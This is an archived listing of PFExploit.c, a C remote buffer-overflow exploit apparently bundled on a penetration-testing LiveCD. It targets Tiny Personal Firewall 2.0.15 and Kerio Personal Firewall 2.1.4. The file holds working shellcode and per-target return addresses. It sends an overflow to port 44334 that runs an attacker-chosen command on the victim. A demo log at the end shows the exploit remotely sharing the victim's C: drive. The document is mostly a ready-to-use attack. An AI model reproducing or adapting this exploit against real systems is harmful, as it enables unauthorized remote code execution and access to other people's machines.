home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / firewall / Kerio / PFExploit.c < prev   
C/C++ Source or Header  |  2005-02-12  |  6KB  |  205 lines

  1. /**************************************************************
  2.  * Personal Firewall Engine remote buffer overflow Exploit
  3.  **************************************************************
  4.  *
  5.  * Original information shared by CORE Security Technologies.
  6.  * ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  7.  * http://www.coresecurity.com/common/showdoc.php?idx=314&idxseccion=10
  8.  * ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  9.  * Released : 30/04/2003
  10.  *
  11.  * Coded By ThreaT.
  12.  * ThreaT@Ifrance.com
  13.  * http://s0h.cc/~threat
  14.  *
  15.  ********************************************************************
  16.  *
  17.  * This exploit take advantage of the vulnerability discovered by
  18.  * CORE Security Technologies for execute a command on remote workstations
  19.  * equiped with the fallowing PSW :
  20.  *
  21.  * - Tiny Personal Firewall 2.0.15
  22.  * - Kerio Personal Firewall 2.1.4
  23.  *
  24.  *********************************************************************
  25.  *
  26.  * Usage : PFExploit.exe <target> <victim_ip> <command to execute>
  27.  *
  28.  * =====================================================================
  29.  * !! compile with : cl.exe /nologo PFExploit.c /link wsock32.lib !!
  30.  * =====================================================================
  31.  */
  32.  
  33.  
  34. #include <windows.h>
  35. #include <winsock.h>
  36.  
  37. #define len 0x1494
  38.  
  39. void main (int argc, char *argv[])
  40. {
  41.     SOCKET sock1;
  42.     SOCKADDR_IN sin;
  43.     int i;
  44.     DWORD byte = htonl(len);
  45.  
  46.     char buffer[len], *p,
  47.  
  48.     shellcode[] = 
  49.  
  50.     "\xEB\x69\x6A\x30\x5B\x64\x8B\x03\x8B\x40\x0C\x8B\x48\x0C\x8B\xC1" 
  51.     "\x8B\x70\x30\x80\x3E\x4B\x75\x4A\x8B\x40\x18\x8B\x58\x3C\x03\xD8" 
  52.     "\x8B\x5B\x78\x03\xD8\x8B\x73\x1C\x03\xF0\x56\x8B\x73\x24\x03\xF0" 
  53.     "\x56\x8B\x53\x20\x03\xD0\x8B\x5B\x18\x4B\x8B\x34\x9A\x03\xF0\x03" 
  54.     "\x74\x24\x10\x8B\x36\x39\x74\x24\x0C\x74\x08\x4B\x23\xDB\x75\xEA" 
  55.     "\x58\x58\xC3\x5F\x33\xC9\x66\x8B\x0C\x5F\x5F\x8B\x3C\x8F\x8D\x04" 
  56.     "\x07\xC3\x8B\x18\x39\x08\x8B\xC3\x75\xA6\xC3\xEB\x22\x6A\x01\x68" 
  57.     "\x69\x6E\x45\x78\xE8\x89\xFF\xFF\xFF\x6A\x01\xFF\x74\x24\x0C\xFF" 
  58.     "\xD0\x6A\x01\x68\x78\x69\x74\x50\xE8\x75\xFF\xFF\xFF\xFF\xD0\xE8"
  59.     "\xD9\xFF\xFF\xFF";
  60.  
  61.     WSADATA wsadata;
  62.     WORD wVersionRequested = MAKEWORD (2,0);
  63.  
  64.     struct _target {
  65.  
  66.         char Name[4];
  67.         char *RetAddr;
  68.         char *App;
  69.  
  70.     } targ[2] = {
  71.  
  72.         {"TPF" , "\xED\xEA\x2F\x01", "Tiny Personal Firewall 2.0.15"},
  73.         {"KPF" , "\xF8\xEA\x61\x01", "Kerio Personal Firewall 2.1.4"},
  74.     };
  75.     
  76.  
  77. printf ("#############################################################\n"
  78.     "Personal Firewall Engine, Remote buffer overflow Exploit !\n"
  79.     "#############################################################\n"
  80.     "Discovered by CORE Security Technologies & Coded by ThreaT\n-\n"
  81.     "ThreaT@Ifrance.com\n"
  82.     "http://s0h.cc/~threat\n-\n\n");
  83.     
  84.     if (argc < 4)
  85.     {
  86.         printf ("usage : PFExploit.exe <target> <victim_ip> <command to execute>\n\n"
  87.             "TARGET ARE\n"
  88.             "__________\n\n"
  89.             "TPF : for Tiny Personal Firewall 2.0.15\n"
  90.             "KPF : for Kerio Personal Firewall 2.1.4\n\n");
  91.  
  92.         ExitProcess (0);
  93.     }
  94.  
  95.     if (!(p = (char *) LocalAlloc (LPTR,(strlen (shellcode)+strlen(argv[3])+3))))
  96.     {
  97.         printf ("error, cannot allocate memory\n");
  98.         ExitProcess (0);
  99.     }
  100.  
  101.  
  102.     memset (buffer,0x90,len);
  103.  
  104.     strcpy (p,shellcode);
  105.     lstrcat (p,argv[3]);
  106.     memcpy (&buffer[200],p,strlen (p)+1);
  107.  
  108.     for (i=0; i < 2 ; i++)
  109.         if (!lstrcmpi (argv[1],targ[i].Name)) break;
  110.  
  111.     if (i > 1)
  112.     {
  113.         printf ("Erreur : la cible %s est inconnue\n",argv[1]);
  114.         ExitProcess (0);
  115.     }
  116.  
  117.  
  118.     if (WSAStartup(wVersionRequested, &wsadata)) 
  119.     {
  120.         printf ("Erreur d'initialisation Winsock\n");
  121.         ExitProcess (0);
  122.     }
  123.  
  124.     
  125.     sin.sin_family = AF_INET;
  126.     sin.sin_addr.s_addr=inet_addr (argv[2]);
  127.     sin.sin_port = htons (44334);
  128.  
  129.  
  130.     memcpy (&buffer[0x1490],targ[i].RetAddr,4);
  131.  
  132.     printf ("Cible : %s\n\n"
  133.             "Connecting to %s...", targ[i].App, argv[2]);
  134.     
  135.     sock1 = socket (AF_INET, SOCK_STREAM, 0);
  136.     bind (sock1, (SOCKADDR *)&sin, sizeof (sin));
  137.     if ( connect (sock1,(SOCKADDR *)&sin, sizeof (sin)) )
  138.     {
  139.         printf ("connexion failed !\n");
  140.         ExitProcess (0);
  141.     }
  142.  
  143.     printf ("ok!\n\n"
  144.             "sending crash for remote execution of '%s'...",argv[3]);
  145.     
  146.     Sleep (1000);
  147.     send (sock1,(const char FAR *)(DWORD)&byte,sizeof (DWORD),0);
  148.     send (sock1,buffer,len,0);
  149.  
  150.     puts ("ok");
  151.  
  152. }
  153.  
  154. /* DEMO ON MY LAN *
  155.  
  156. D:\code\exploits\kerio>ipconfig
  157.  
  158. Configuration IP de Windows 2000
  159.  
  160. Ethernet carte Connexion au rΘseau local 2á:
  161.  
  162.         ╔tat du media . . . . . . . . . . : CΓble DΘconnectΘ
  163.  
  164. Ethernet carte Connexion au rΘseau localá:
  165.  
  166.         Suffixe DNS spΘc. α la connexion. : ThreaT.lan
  167.         Adresse IP. . . . . . . . . . . . : 10.0.0.1
  168.         Masque de sous-rΘseau . . . . . . : 255.0.0.0
  169.         Passerelle par dΘfaut . . . . . . : 10.0.0.138
  170.  
  171. D:\code\exploits\kerio>net view \\10.0.0.3
  172. La liste est vide.
  173.  
  174.  
  175. D:\code\exploits\kerio>PFExploit TPF 10.0.0.3 "cmd /c net share c=c:\"
  176. #############################################################
  177. Personal Firewall Engine, Remote buffer overflow Exploit !
  178. #############################################################
  179. Discovered by CORE Security Technologies & Coded by ThreaT
  180. -
  181. ThreaT@Ifrance.com
  182. http://s0h.cc/~threat
  183. -
  184.  
  185. Cible : Tiny Personal Firewall 2.0.15
  186.  
  187. Connecting to 10.0.0.3...ok!
  188.  
  189. sending crash for remote execution of 'cmd /c net share c=c:"'...ok
  190.  
  191. D:\code\exploits\kerio>net view \\10.0.0.3
  192. Ressources partagΘes de \\10.0.0.3
  193.  
  194.  
  195.  
  196. Nom          Type         Local    Remarque
  197.  
  198. -------------------------------------------------------------------------------
  199. c            Disque
  200. La commande s'est terminΘe correctement.
  201.  
  202.  
  203. D:\code\exploits\kerio>
  204.  
  205. * EOF */